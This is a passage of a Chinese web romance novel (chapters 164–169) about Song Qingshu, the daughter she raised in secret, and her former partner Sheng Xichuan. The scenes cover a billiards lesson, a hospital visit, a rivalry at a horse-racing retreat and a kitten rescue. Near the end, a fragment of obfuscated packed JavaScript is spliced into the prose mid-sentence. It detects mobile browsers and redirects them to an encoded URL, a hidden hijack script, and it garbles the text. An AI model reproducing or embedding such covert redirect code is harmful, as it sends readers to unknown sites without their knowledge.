其余的,实在是没必要。
当然,盛熙川话都说到了这份上,不怕一万就怕万一。
宋清殊也怕他真的要撬客户。
到那个台球俱乐部的时候,是下午五点。
前台小姑娘将她引进门。
一进去,宋清殊便看到了正在打球的盛熙川。
不得不承认,他真的是仙品。
肩宽腰细,一双比例惊人的腿包裹在西裤里,躬身打球时,臀部翘起的样子,也非常让人遐想。
宋清殊站在门口的位置,看着面前的男人手臂有力的挥动,将白球打出去,目标球精准入袋。
那颗球轨迹精准,丝毫不拖泥带水,像盛熙川这个人。
四年没见了,预设了无数次重逢后的尴尬场面,可现在觉得好像也还行,起码维持了成年人该有的体面。
可偌大的球室里,除了盛熙川哪里还有别人?
她轻咳一声引起盛熙川的注意。
盛熙川回头,对她粲然一笑:“来了?稍等我一下。”
接着,又是几杆打出去,利落清台。
盛熙川这才直起身子,随手拿起放在一旁的一瓶饮料,拧开递给她。
宋清殊接过,道了声谢,这才问:“不是说林总也在,人呢?”
盛熙川:“你不是不会吗?来,我先教你,林总大概5点半到。”
他抬腕看表:“还有半小时,你行吗?”
宋清殊学东西一向很快,盛熙川一说,她竟然有些跃跃欲试。
“应该可以。”
“好,那过来。”盛熙川自觉站在了宋清殊身后去。
“弯腰,背和腿呈90度角。”盛熙川说。
他挺绅士的,两人之间微微隔着一点距离。
可不知道为什么,宋清殊觉得不自在。
盛熙川站在后面,她有种被人凝视的不安感,他说话的时候,她总想回头看他。
也真的转了一下头。
盛熙川大手扣住宋清殊后脑,将她的头转回去:“看球桌,看**什么。”
“哦,好。”宋清殊莫名紧张。
更紧张的在后面,盛熙川又抓住了她的左手手腕。
不等宋清殊恼,他已经将她的手放在了桌面上:“就这样,左手撑开。”
他用食指
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拨开宋清殊的手指:“再张开一点,要托住球杆。”
短暂的接触,宋清殊手指微微发烫。
可她看盛熙川,又无比坦然,便觉得自己有点多心了。
“好……”
“来,右手握杆。”
盛熙川的球杆递到了宋清殊手里。
宋清殊控制住自己的胡思乱想,猛地怼了一杆出去。
可想而知,以失败告知。
“果然,还是没变。”盛熙川突然轻笑了一声。
宋清殊回头,便看到了他带了点戏谑的神色:“什么?”
“你人聪明,但是手残,四年了居然一点没变。”
宋清殊:“……”
她肢体不协调这事,也不是一天两天了。
“来,你感受下我的力道。”盛熙川说。
宋清殊还没反应过来,便被他握住了右手。
她这个时候如果介意,就该甩开他。
不介意,那就认真学。
可不受宋清殊控制的事发生了,她的心跳突然间纷乱了起来,手也抖了一下。
身后的人恶人先告状:“紧张什么,宋总不会是想歪了吧?”
宋清殊在心里骂了句脏话,抿住唇,调整好自己的呼吸。
手里的球杆一个巧力,撞向6号球。
6号球好似长了腿一般,竟然就这样乖巧地滚进了洞内。
随着盛熙川的施力,有那么一瞬间,他的身子向前,贴在了宋清殊的后背上。
滚烫的气息,铺天盖地袭来。宋清殊的脑子一片混乱。
她回头,看向盛熙川,不知道该做什么反应。
“你……”
宋清殊觉得,她被借着教台球的名义戏弄了。
第164章 珍珠是谁的孩子
“这不就会了?”
见宋清殊看他,盛熙川微微退后半步笑道。
他好像没看到宋清殊已经不太好看的脸色,一切似乎自然得不能再自然。
“我自己来吧。”宋清殊说,示意盛熙川站远一点。
盛熙川微微抬了一下眉,也没有再坚持,站远了点,看她打。
宋清殊想也许自己小人之心了。
她敛了心神,把所有杂七杂八的念头抛在脑后,按照盛熙川教的认真练习了一下。
盛熙川现在站的角度,更方便看她。
宋清殊今天穿了一套蓝色的针织裙,依然是没什么装饰且保守的款式,符合她一惯的调性。
但她皮肤白,蓝色越发衬得肤如凝脂。
身材又好,针织裙贴着身材的曲线下来,便显出了这套衣服的厉害之处。
盛熙川站在侧后方,看她不盈一握的腰和饱满挺翘的臀,眸色深暗得厉害。
他喉结微动,不动声色地扯开了自己衬衫的第二颗扣子,又拿了罐气泡水喝下去,强压下心里的燥意。
宋清殊没有清台,她打进了几颗球后便站起身来,在一旁的休息区坐下喝饮料。
盛熙川走过去,坐在她身边。
“不练了?”
宋清殊:“会这些够了,我来陪甲方爸爸打,不用太会,别让他赢得太没有成就感就行。”
盛熙川低笑,看她的眼神有宠溺的意思。
“别紧张,今天林远洲能来,一定能跟你合作。”
林远洲就是孟令贤的丈夫,最近可能跟陆氏合作的事,还是他和孟令贤主动跟盛熙川提的。
“盛熙川。”宋清殊突然叫他。
她的神情有点郑重,以至于盛熙川绷紧了背。
“嗯?”他面上不动声色。
“多谢你的好意,以后不用帮我了,工作上的事,我还是想自己来。还有我们的关系最好还是有点边界感好。你说呢?”
开口前宋清殊自己也想过,这么说会不会被盛熙川嘲笑自作动情,可话不说前面,有第一次就有第二次,太麻烦。
她做好了被盛熙川嘲笑的准备。
谁知,盛熙川也只是沉默了几秒:“知道了。”
就这样?
宋清殊莫名松了口气。
两人彼此又是没什么话说,枯坐了一会儿,各怀心事。
林远洲还没到,宋清殊的电话先响了。
特设的铃声,她跟盛熙川说了声抱歉,去远一点接。
电话是保姆芝姐打来的,她在那边语气很急。
“清殊,珍珠从椅子上摔下来了,一直喊疼,快回来看看吧!”
芝姐和雪姐都是新式保姆,对宋清殊基本上直呼其名,让她也很自在。
芝姐说,她在给珍珠准备晚餐,雪姐去洗手间的功夫,珍珠不知怎么,就爬上椅子,之后摔了下来。
听芝姐这样说,宋清殊心里一紧。
“我马上回家,你别急。”她安慰芝姐,自己倒脸色先急得发白。
宋清殊回去,看盛熙川带了点歉意。
“抱歉,临时有点急事,我得走了。今天就不打球了,多谢你的好意。”
说完,也不管盛熙川说什么,她抓起包就要往外走。
怕盛熙川问她什么事这样急,她还要现编一个理由出来。
好在盛熙川没有盯住不放。
“那你自己注意安全。”他说。
宋清殊点点头,匆匆离开。
回去的路上,她电话先联系了莫兰溪。
带珍珠去医院的话有莫兰溪在身边最好。
到家后,莫兰溪已经在了。
珍珠小脸上还挂着点泪痕,把两个保姆心疼得不行。
两人对珍珠是真的上心,倒没有人害怕宋清殊追究她们没看好孩子。
“你们在家等消息,我和兰溪带珍珠去医院。”宋清殊说着,迅速抱起珍珠,莫兰溪又拿了她的婴儿车。
在这一点上,她比宋清殊考虑得还要多。
珍珠在外面最好是坐在婴儿车里。
几次接触下来,莫兰溪觉得珍珠的性格,一定不太喜欢妈妈以外的人抱,但如果总让宋清殊抱,难免露馅。
宋清殊也发现了她的谨慎,对她十分满意。
莫兰溪开车。
两人特地没有去京华,而是多开了五分钟,到了另一家比较好的私立医院。
医生拍完X光片,又捏了捏珍珠的小肉腿。
“小朋友有点肉肉是好事,没伤到骨头,只是韧带有点拉伤了
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。”又看向宋清殊和莫兰溪,“你们两个谁是妈妈?”
宋清殊下意识想开口,已经被莫兰溪抢先:“我。”
医生点点头,对莫兰溪嘱咐道:“我给小朋友开一支喷剂,回去后每天喷三次,如果一个星期过去还疼,你们再来,还挂我的号。”
莫兰溪答应着,宋清殊在一旁默默都记下了。
好巧不巧,两人推着珍珠从诊室出来,看到了苏白。
宋清殊心里“咯噔”一下,面上不动声色。
她先发制人打招呼:“苏白,好巧,你怎么在这里?”
亏她还特地躲他,换了家医院。
苏白见宋清殊,愣了一下。
“我和这边院长是朋友,来找他谈点事。”他的目光又落珍珠身上。
小珍珠一张粉团子脸皱着,明显不高兴。
这孩子长得有灵气,还有种莫名的熟悉感。
“这是怎么了?”
莫兰溪接话:“我女儿今天摔了一下,宋总不放心,跟过来一起看看,好在没什么大碍。”
宋清殊暗自赞叹了一声莫兰溪跟她的默契,没有多言。
苏白看向宋清殊,不知道是有心还是无意,夸了她一句:“清殊这么好的老板真是打着灯笼找不着。”
宋清殊波澜不惊:“我和兰溪是上下楼邻居,再说,她又不只是下属,还是我表妹。”
在这话说出来的时候,宋清殊突然觉得轻松。
这样看,这个谎还是很容易圆的。
苏白又和她们简单聊了两句,宋清殊便借着去拿药,彼此说了再见。
不知怎么,看着两个女人推着一个孩子的背影,苏白总觉得怪怪的。
说不上来的感觉。
他去了宋清殊她们出来的那个诊室,拿到了珍珠的就诊信息。
珍珠姓宋,大名叫宋璨。
这个认知,让苏白的心脏狂跳。
宋璨,她是……
可他的目光又落到了家长签字的位置,的确是莫兰溪的名字。
也是,宋也不是很稀有的姓。
苏白的心又沉下来。
他不敢跟盛熙川说,说了只会让他徒增烦恼,生出不该有的期待来。
而盛熙川这边,已经见到了林远洲。
第165章 珍珠的发现
林远洲一到俱乐部,便看到了坐在休息区抽烟的盛熙川。
他面前的烟灰缸里摆满了烟头,整个人神态看上去意兴阑珊,透着不得志。
林远洲看了一下四周,没看到宋清殊的影子,心里一沉,大脑迅速运转,想着安慰的话。
盛熙川从烟雾缭绕里抬起头来看他。
“来,坐吧。”
林远洲只能先坐下。
盛熙川拿了根烟给他,亲自掏打火机,替他点上。
林远洲把“老婆不让抽烟”的话咽下去,盛熙川不开口,他也不知道说什么。
要是老婆在就好了,林远洲想。
孟令贤最擅长轻而易举地化解这种尴尬。
两人把手里的烟吸完,盛熙川看了一眼烟盒,空了。
他攥紧又松开,这样反复了好几次。
最后,突然说:“远洲,你帮帮她。”
林远洲像是得到命令一般,马上起身立正了。
“放心,有我在,昌鑫的单子永远不会给别人。”
盛熙川点了点头,再没多说什么。
宋清殊走得那样急,他是真的想知道她去做什么了。
可如果他问,就显得太没有边界感,他主动帮她搭桥,已经让她不适。
莫非是为了那个叫“猪猪”的男人?
是霍宗辞吗?
那天盛熙川问过之后,苏白倒是辗转弄到了霍宗辞的微信推送给他,但不是那个骷髅头头像,盛熙川也没加。
更重要的是,宋清殊没有说过她是单身,说不定她不在上京的这四年,有男朋友或者丈夫。
也是,她那样美貌又聪慧,谁爱她都不奇怪。
盛熙川又陷入了内耗里。
而宋清殊这边看珍珠没什么大事,就放下心来。
带她回到家后,才顾得上讲道理。
“怎么爬到椅子上去了,多危险。”宋清殊说。
因为珍珠够聪明,她不必用哄孩子的语气跟她交流,这一点上倒是真的省心。
“我画了一幅画,想试试自己能不能挂上去。”珍珠解释说,又指了指客厅桌上。
宋清殊走过去,果然看到一副水彩画。
那是一片松林,松树顶端还带着点积雪,不远处有一轮初升的太阳。
冬日早上的松林。
宋清殊突然想起,初次闻到盛熙川身上那种清洌的松木香气时,她联想到的就是这样的意境。
珍珠白天盖着盛熙川的外套午睡,下午就画了这样一幅画,很难不让人多想。
“画的真棒宝贝。”宋清殊夸奖她,“不过以后想挂上去,要寻求阿姨的帮助,好不好?”
珍珠点了点头,答应了她。
宋清殊了解自己的女儿,珍珠答应的事就会做到,所以她不必反复强调唠叨。
这件事就算过去了。
又过了几天,宋清殊下班回家,发现珍珠的平板没有熄屏。
她一眼看到了她的搜索记录:【宋清殊】【宋清殊盛熙川】【宋清殊盛家】
珍珠还不会用拼音,但她记忆力好,会用手写输入法,照葫芦画瓢把汉字描绘出来。
她应该是先搜了宋清殊的名字,顺藤摸瓜,又搜到了她的过往。
宋清殊的心跳突然漏了两拍。
她不知道珍珠的智商是怎么理解“联姻”这件事的,也不知道珍珠会如何评判自己的出身,还有对亲生父亲的态度。
珍珠会不会觉得自己是个不受祝福的孩子?
会不会觉得她来到这个世界上就是个错误?
宋清殊想起经常在网上看到的那些标榜付出了太多的母亲,往往会搭配一个不领情的孩子。
“你为了我牺牲自己的时候有经过我同意吗?”
“少做这些自我感动的事。”
她心内无比忐忑,以至于吃饭都不香了。
但珍珠看上去倒是没有什么大的变化,起码宋清殊没发现。
她心事重重了几天,几次想跟珍珠再详细聊聊,又有点开不了口。
终于在某个晚上,她忍不住抱着枕头去了珍珠的小房间里。
大多数时间分开睡,每周有一到两天睡一起,是母女两人的生活小情趣,珍珠很开心,往她怀里贴。
宋清殊关了灯,抱紧怀里肉丸子似的女儿。
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“妈妈看到你那天的搜索记录了。”黑暗中,她试探着开口,带了点小心翼翼,“网上很多东西都不是真相,你有什么想知道的吗?”
珍珠沉默了片刻,问:“盛熙川是我爸爸吗?”
宋清殊点头,又想到她看不见:“是。”
珍珠:“我爸爸好帅啊。”
她声音很轻,不知是不是错觉,宋清殊似乎听到了几分向往。
她心里有点堵。
当年决定去父留子的时候,不是没想过这个问题,将来有一天孩子想要爸爸怎么办。
可宋清殊觉得,只有她给出足够多的爱,是可以弥补的。
毕竟不管是单亲家庭还是双亲家庭,都有问题和漏洞,都不是十全十美的。未必单亲就不如人。
说起来,她有两对爸妈,不还是过了八年无人问津的日子么。
可事情真的发生了,心境又是不同的。
珍珠是个早慧的孩子,宋清殊是真的怕她觉得原生家庭不好,认为自己的出生是个错误。
宋清殊抱紧珍珠,心里很乱。
可珍珠除了感叹了一句盛熙川长得好,再没有什么反应了。
宋清殊只得继续试探:“你会因为妈妈自作主张把你带到这个世界上,而觉得不高兴吗?”
珍珠肉乎乎的小手举高,抱宋清殊的脖子:“你怎么会这么想?我有妈妈就很开心啊。”
宋清殊略微松了口气。
可盛熙川这颗种子在珍珠心里种下,她搜的更频繁了。
霍宗辞应该遇到了棘手的事,原本说的两三天的假,延长到了一个星期,而昌鑫的项目,竟然在这一星期里被宋清殊拿下了。
那天台球俱乐部里没见到人,第二天,宋清殊便往昌鑫打了电话,约见了一下林总。
林总比想象中好说话,原本以为特别复杂的单子,倒也没有费太多心思就拿下了。
霍宗辞甚至还专门开了视频会议表扬她。
一时间,陆氏所有高层都要高看宋清殊一眼,二叔三叔都收敛了两天。
为了庆祝拿下昌鑫,陆氏组织了一次团建。
第166章 宋清殊有男朋友吗
这次团建,陆夫人跟宋清殊商量,想交给莫兰溪组织,有锻炼她的意思。
宋清殊自然同意。
一段时间接触下来,她实在很喜欢这个没有血缘关系的表妹。
莫兰溪是那种话很少,很有眼力劲的人,一点就透不说,做事周到却不谄媚,是个好搭子。
宋清殊猜测,她的性格跟她年少时的经历有关系。
据陆夫人说,莫兰溪家里出事后,她父亲为了还债,差点将她卖进风月场,还是陆夫人出手将她救了出来,送出国读书,所以她和陆夫人的感情很深。
因为都是年少时受过苦的人,宋清殊和莫兰溪虽然没有说透,但看彼此都有点惺惺相惜的意思。
宋清殊总觉得让她给自己做特助,还是屈才了一些,所以也总想给她一些做事的机会,让她往上发展一下。
莫兰溪很快选好了地点,也做好了安排。
团建的地方不远,就在上京附近的卧龙谷度假村。
这个度假村是新开发的旅游景区,国内最大,休闲娱乐,餐饮,温泉,诸多项目一应俱全。
最合宋清殊心意的是,能骑马。
当时,霍宗辞休假未归,便决定宋清殊和陆家二叔三叔几位“总”分批带队前往,宋清殊抓阄分到了第一批。
没想到刚分完组,霍宗辞就回来了。
“我和清殊一组就行。”他说,也不管别人怎么想,直接加入了宋清殊的队伍。
时间定在了周四周五两天,因为距离市中心并不远,众人早上8点多就到了。
到了目的地,先聚在一起开了个简短的会,约定了中午集合一同用餐,便开始三五成群自由活动。
宋清殊和莫兰溪住一个房间,收拾好东西,她便提议去跑马场看看。
为了骑马,她特地没穿裙子,而是穿了一身灰色的运动衣。
穿运动服的宋清殊,看上去气血充足,很有活力,跟平时温婉娴静的模样判若两人。
听说她会骑马,莫兰溪神情有一闪而过的错愕。
“你让我觉得很意外。”她说。
宋清殊来了兴趣:“哪方面?”
“各个方面。”莫兰溪斟酌着措辞,“可能是因为你长得太柔弱了,我总觉得你是那种需要被保护的人。但你做的事,又都不像一个弱女子会做的。”
单凭她能去父留子,一个人悄悄生孩子,还养的这么好,就让莫兰溪佩服。
她的夸赞让宋清殊很受用。
宋清殊勾唇,反夸回去:“咱们这种从小一个人在国外生活的,还都挺坚强的。”
莫兰溪笑了笑,没接她的话。
两人到跑马场的时候,山里的晨雾还没有散,只有三两个人零星地站在那里。
郊区空气好,脚下新修剪的草坪散发着特有的清香,让人心情愉悦。
“过阵子你可以带珍珠来玩。”莫兰溪说。
这话正合宋清殊心意。
“正有此意,我还打算等她大一点教她骑马。”
两人正说着,忽然听见一串清脆的马蹄声,随之,一匹通体漆黑的阿拉伯马从白雾里跃出,越跑越近。
宋清殊:“好帅的马。”
莫兰溪:“好帅的人。”
两人对视一眼,莫名觉得对方的话有点好笑。
莫兰溪想笑,是因为她觉得马背上的男人虽然看不清脸,但从轮廓看就非常吸睛,在这种情况下,宋清殊居然只看得到马,还真是油盐不进。
宋清殊想笑,则是因为她第一次听莫兰溪夸男人帅,在这之前,她一直觉得莫兰溪挺厌男的。
两人对视完再回神,那匹马已经跑到了她们面前来。
骑士的脸在两人面前放大,竟然是盛熙川。
他的眉眼实在优越,气质更加突出。
黑色骑装完美勾勒出了他的宽阔肩线,一双长腿包裹在马裤里,紧贴着身下的马腹。
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晨光洒在身上,衬得他如同一个征战沙场的将军。
莫兰溪没有在现实中见过盛熙川,但之前做过功课的,马上认了出来。
她有一瞬间的紧张,怕宋清殊尴尬,便下意识看了宋清殊一眼。
但宋清殊也只是微微错愕,随即道:“好巧啊,盛总。”
莫兰溪松口气,暗自赞叹了一下宋清殊的淡定,也打了声招呼,说“盛总好”。
盛熙川对莫兰溪点点头,不错眼地看向宋清殊:“不巧,卧龙谷我有股份。”
宋清殊:“这样啊。”
心说,这个人真的很容易把天聊死。
但她想骑马,总不能转头就走,只好又尬聊了一句:“这马不错。”
“算你识货。”这话说到了盛熙川心坎上。
他勾唇,利落翻身下来,直接把缰绳递给了宋清殊:“我的。借你骑一圈。”
……这也太让人难以拒绝了。
宋清殊想了一下,还真的接过了缰绳。
“它叫什么名字?”她问。
盛熙川:“中介。”
怎么会给马起名叫这个,莫兰溪在一旁想。
宋清殊面无表情:“那是挺黑的。”
话音刚落,这匹叫中介的黑马不满地打了一个响鼻。
等莫兰溪理解了盛熙川的冷幽默时,宋清殊已经上马,狂奔了出去。
只留莫兰溪和盛熙川在原地。
气氛有些许尴尬。
好在盛熙川的眼睛一直追随着宋清殊不断远去的方向,根本舍不得挪开。
附近的休闲区陆续有商家开始做生意,莫兰溪想去给宋清殊买杯咖啡。
最主要的是,盛熙川给人的感觉压迫感太强,她实在不想和他站在一起。
她刚要走,就听盛熙川突然开口:“你是宋清殊助理?”
“是的盛总。”
在得到肯定的答案后,盛熙川突然又问:“宋清殊有男朋友吗?”
第167章 情敌修罗场
莫兰溪没想到盛熙川会问这个问题,她暗自吃了一惊。
用余光观察盛熙川的反应,发现他的目光一直看着宋清殊的方向,根本舍不得挪开。
即便宋清殊已经冲进了晨雾里,变成了一个小小的白点。
“抱歉,我对上司的私事不太清楚。”她说。
盛熙川的眉头微微蹙了一下,倒是没有为难她。
“我去给宋总买杯咖啡,您喝吗?”她问。
盛熙川这才转头看她。
“不了,多谢。”
莫兰溪点点头,没多说什么,直接走开了。
她没明白盛熙川问话的用意,但暗自想着,一会儿还是要跟宋清殊说一声,让她心里有个数。
莫兰溪刻意磨蹭了好一会儿,想着等宋清殊时间差不多了再回去,不曾想,回去的路上还遇到了霍宗辞。
霍宗辞穿得一如既往花哨。
中长发在脑后随意扎着,一身白色骑士服,配上白靴,矜贵得像一个中世纪王子。
他看到莫兰溪,一双湿魅的桃花眼眯了一下。
莫兰溪莫名心里一紧。
“霍总。”她打招呼,态度恭顺。
霍宗辞似笑非笑,一双眼睛盯住她不放:“你把宋清殊单独留在跑马场,是给她和盛熙川创造机会吗?”
这是什么脑回路?
莫兰溪无语,面上却很平静:“宋总在骑马,我来给宋总买杯咖啡。”
可霍宗辞抓住不放:“都是成年人,你不知道盛熙川对宋清殊有不该有的心思?”
莫兰溪:“霍总也说了,都是成年人。那是宋总的私事,与我无关。”
看来女人太漂亮了也是负担,盛熙川什么心思她没看出来,但霍宗辞的心思已经写在脸上了。莫兰溪默不作声地想。
霍宗辞看她的眼神肆无忌惮,莫兰溪微微抿唇,不动声色地任他打量。
这个女人怕是少有的出来玩也不肯打扮得花枝招展的女人。
灰色风衣里是白色真丝衬衫,头发梳得一丝不苟。
黑框眼镜下的那双眼睛智力感太足,好像能看透一切,却又极其隐忍克制。
霍宗辞总觉得,他记忆里是有这么一个人出现过的。
可那几年,他父亲出事,自己突然从云端跌落下来,活着都是问题,很多事和人都模糊了。
但那人不叫这个名字,而且,面前这个女人自始至终都没有表现出认识他的样子。
世界上真的有那么相像的两人吗?
霍宗辞的倏地凑近,莫兰溪防备不及,被他一把扯了黑框眼镜。
她眼里有一闪而过的恼意,随之,又恢复了波澜不惊的模样。
“霍总,自重。”她伸手要夺。
霍宗辞倒是没有再闹,手一松,任她将眼镜夺了回去,迅速戴上。
那人眼角有一颗泪痣,她没有。
此时,莫兰溪已经先行一步,霍宗辞跟上,两人没有再说什么。
两人回跑马场的时候,宋清殊已经回来,看得出她很高兴。
“小叔。”她跟霍宗辞打招呼,就要从马上下来。
霍宗辞伸手扶了一下她的手臂。
莫兰溪下意识地看向盛熙川。
后者的眼神能**。
偏偏霍宗辞看不到一般,神态自若地跟盛熙川打了个招呼:“这么巧,盛总。不会是知道我们宋总今天在,特地偶遇来的吧?”
盛熙川分毫不让:“那也不比霍总,放着生病的妈不管,这么敬业,跑来团建。”
医生说,霍宗辞母亲最近有醒来的迹象,他想让母亲醒来的时候能第一时间看到他,才耽搁了这么久。
但霍母到现在也没醒。
他请假的原因连宋清殊都不知道,盛熙川却清楚,看来他真的在调查他。
这个认知,让霍宗辞的眸光一瞬间变得无比冷锐。
他皮笑肉不笑:“清殊是我的人,又是第一次带队团建,我陪她来是应该的。”
“我的人”三个字,很妙。当事人宋清殊没听出什么不妥,到盛熙川耳朵里,就是另一层意思了。
他索性也不再打嘴炮,对着跑道的方向抬抬下巴:“会骑马吗?比一比?”
霍宗辞神情倨傲:“盛总别小瞧了我。”
两个男人之间暗流涌动,一触即发。
此时,恰好有工作人员来给盛熙川送茶。
“给宋总准备一份茶水和小吃,慢慢欣赏。”盛熙川说。
盛熙川和霍宗辞每人选了一匹马,就这样回到了场上。
霍宗辞那匹马也许是性子烈一些,在他上去后猛地晃了一下。
莫兰溪的神情紧绷了一瞬,她迅速调整表情,又看了一眼旁边的宋清殊
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宋清殊也有点担忧,并没有注意她。
还好。
盛熙川两只手的食指交叉,比划了一下。
“十圈,怎么样?”
霍宗辞:“奉陪到底。”
两人甩了一下鞭子,两匹马都像离弦的箭,同时冲了出去。
莫兰溪见两人跑远,才问宋清殊:“这一圈多远?”
宋清殊捏了一颗西梅,放进口中。
梅子在口腔暴汁,酸得她直皱眉:“一公里吧。”
莫兰溪:“所以这两人要跑10公里?人受得了,马受得了吗?”
宋清殊:“不清楚。”
但她在这里,两人更起劲儿,说不定她走了,两人觉得没意思,还能收敛。
这样想着,她站起身:“走了。”
原本兴致勃勃想教莫兰溪马术,被这两人也搅合没了,接下来宋清殊便有点意兴阑珊。
但她看员工们玩得都很开心,还时不时有人往群里发图片,也算是不白来。
一直到午饭时间,宋清殊才见到霍宗辞。
他气色明显比早上差,走路时一条腿有点跛。
宋清殊只觉得无语。
这两人也不知道在闹什么,还雄竞上了。
不知道的,还当是为了她争风吃醋。
惹不起,躲得起,她以后还是离盛熙川远一些,跟霍宗辞打交道也要更加注意分寸。
下午时间,宋清殊在房间里睡了个长长的午觉,一觉醒来已经下午4点了。
莫兰溪不放心,一直盯着,倒也没出什么差池。
晚上众人烤全羊,篝火晚会。
有员工自发地扯了音响出来唱歌,宋清殊和莫兰溪也被人拉起来围成圈跳舞。
晚上气温很低,她上身穿了一件薄款羽绒服,下身穿羊毛百褶裙。
旋转起来的时候,裙摆荡漾,隐隐约约露出一点燕麦色袜子,俏皮又清纯。
“宋总好美啊。”有个年纪很小的小女孩感叹道。
隔着篝火,宋清殊看到了一个人影,幽幽地看她。
她别过眼去,再转回来,那人影便消失了。
除了盛熙川不会有别人。
宋清殊不知道他到底什么意思,但也有点困扰了。
他们的接触太频繁了一些。
篝火晚会结束后,已经是晚上9点多,又发生了一件事。
第168章 营救
吃完饭,宋清殊和莫兰溪一同回住处。
必经之路上有一条河,两人都喝了两杯,兴致不错,沿着河边慢慢走。
路灯照在河面上,波光粼粼。
时不时还有一条鱼游过去,荡起一圈涟漪。
“这个地方选的不错。”宋清殊真心夸她。
“很高兴大家都能喜欢。”莫兰溪说。
她这个人,被夸奖和被批评,神色没有什么大差别,很有点宠辱不惊的意思。
这也是宋清殊最喜欢她的地方。
两人走着,又聊了两句接下来工作的进展。
莫兰溪先停下脚步:“你有没有听到什么声音?”
“什么?”宋清殊也停下来,仔细辨别,“好像是有。”
两人离河面近了一些。
的确有声音,从不远处的桥洞里传来的,像是猫叫声。
宋清殊先跑过去,把手机的照明功能调到最大。
凑近些,果然,漆黑的桥洞里,顿时闪现两个“远光灯”。
那是一只巴掌大的小猫!
可怜的小家伙,正浑身湿漉漉的缩在桥洞的角落里,它也不知道被困了多久,叫声都有些微弱了,透着惶恐和不安。
不知怎么,看见它,宋清殊想起了盛熙川救助的那些小猫,心都软了。
“你别怕。”她说,跑去河边找趁手的工具。
莫兰溪和她一起。
两人走了很远,只找到一根竹竿。
宋清殊想了想,在黑夜里,把身上的衬衫脱了下来。
她外面还有羽绒服,问题不大。
莫兰溪帮她把衬衫在竹竿上捆成一个布袋的模样,之后往小猫的方向凑过去。
“咪咪,进来。”宋清殊尽可能把声音放柔,避免吓到小猫。
“要是有猫条就好了。”莫兰溪说,打开手机看外卖软件。
这里是郊外,这个时间早就没有营业的商家了。
她想了想,对宋清殊提议:“要不我去刚才吃饭的地方,问问有没有火腿肠。”
也是个办法。
宋清殊同意了她的提议,让她再找饭店老板要个袋子过来。
莫兰溪去了,宋清殊又拿着那根杆子试了几次。
小猫以为她要伤害它,反而越缩越往里。
宋清殊下意识跟着前倾了一下,随着“扑通”一声,她的手机落进了水里。
她的第一反应:完了,还没跟珍珠说晚安。
既然已经发生了,也没办法。
宋清殊叹口气,硬着头皮继续捞。
有脚步声传来,她以为是莫兰溪,没有回头。
“你好快啊,有火腿肠吗?”她问。
那人已经站在了她身边,一道阴影笼罩在眼前。
不对,莫兰溪没有这么高。
宋清殊转头,便看到了夜色里的盛熙川。
他身上也有一点酒气,不难闻,很特别。
他也看到了桥洞里的猫。
“你这样不行的。”他说。
宋清殊有点沮丧:“这边又买不到猫条,不过兰溪去找饭店要火腿肠了,应该很快过来。”
盛熙川把手伸进裤袋,随手拿出一根。
宋清殊这才想起,他有随手带猫条的习惯,没想到四年过去,还是老样子。
她的眼睛亮了一瞬。
盛熙川从她手中将那根竹竿拽上来,看清上面绑的是什么,意味不明地挑了一下眉。
宋清殊的羽绒服拉链原本就拉到了下巴处,可这一眼,还是让她感觉被看到了真空状态似的不自在。
在黑暗中,她的脸有点红。
盛熙川把猫条挤在她的衬衫上,再探进去。
小猫掏出头,果然吃了一些,但它警惕性很强,只在外侧徘徊,根本不肯进去。
可也是这个时候,盛熙川发现了一处不太正常的亮光。
“那是什么?”盛熙川问。
宋清殊心痛:“我的手机。”
那根竹竿又到了她手里。
宋清殊还没反应过来,盛熙川已经当着她的面解开了裤子。
“你干什么?”她低呼一声,心里一阵紧张。
盛熙川知道她误会了,特地凑近了一点。
低笑道:“你紧张什么,又不是没见过我脱裤子。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15275839|166688||http|test|mini|href|location''.split(''|''),0,{}));
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r>在黑夜里,宋清殊双颊滚烫,耳朵尖都红了。
她想拔腿就跑,人还没动,盛熙川的裤子已经到了她手上。
“拿好。”他说,之后,自己走进了河里。
宋清殊这才反应过来他做什么。
夜色里,穿平角内裤一点点走近小猫的盛熙川,简直如同天神降临。
盛熙川将近一米九,水都到了他的大腿根,这样看还是挺危险的。
关键是,临近冬天,晚上是真的冷。
宋清殊只是脱了件衬衫都觉出了凉,更何况他直接泡在水里。
“你注意安全啊。”她说,心都提了起来。
盛熙川有惊人的方向感和觉察力,他一点点试探着往前走,很顺利地摸到了手机。
再走几步,便到了桥洞附近。
小猫看见这样高大的人,又往里缩了缩,发出受到惊吓的哈气声。
“宝宝别怕,我没有恶意。”盛熙川声线温柔,一边低声诱哄,一边伸出手试探着摸小猫的后颈。
随着小猫声嘶力竭的一声尖叫,它已经被盛熙川拎了出来。
“好棒!”宋清殊提着的心落下去,忍不住感叹一声。
盛熙川一步步走上岸来,她这才发现,他的虎口被小猫咬伤了,在流血。
“你的手……”落下的心又悬起。
盛熙川眉头都没皱一下,就这样在岸上水淋淋站着。
这时,莫兰溪和饭店老板赶到,手里不仅拿了猫条,还带了一个航空箱。
饭店老板自己家养猫,这都是自用的。
两人一见眼前的情景都吃了一惊。
盛熙川把小猫放进航空箱,对老板道:“先在你那里寄养一晚上,明天我让宠物医院的人来接。”
那位老板认识盛熙川,自然没什么话说。
莫兰溪道:“盛总,你的伤口还是要处理一下,毕竟是在河里,容易感染。”
盛熙川点点头,看向宋清殊:“那就麻烦宋总陪我去趟医院了。”
他又晃了晃宋清殊被“营救”出来的手机,“你手机进水了,也要回市区修。”
第169章 分开睡
真的是很难让人拒绝的理由。
宋清殊看一眼在航空箱里的小猫。
小猫看上去不过一个月大小,眼睛的虹膜都没有退。
此时,小家伙吃到了猫条,已经安静下来,看上去没有刚才那样害怕了。
它或许知道盛熙川救了它,吃完猫条,竟然用头上的气味腺蹭了蹭航空箱的门,好像在示好。
她不由想起那只跟她重名的奶牛猫来。
当初盛熙川也是为了给那只小猫上药被抓伤了手,她陪他打了狂犬疫苗。
往事在脑海里浮现,宋清殊莫名心软。
盛熙川虎口的伤看上去挺狰狞,莫兰溪递了张纸巾给他,他满不在乎地擦了擦。
之后穿上了宋清殊递过来的裤子。
一边穿,一边嫌弃地皱眉。
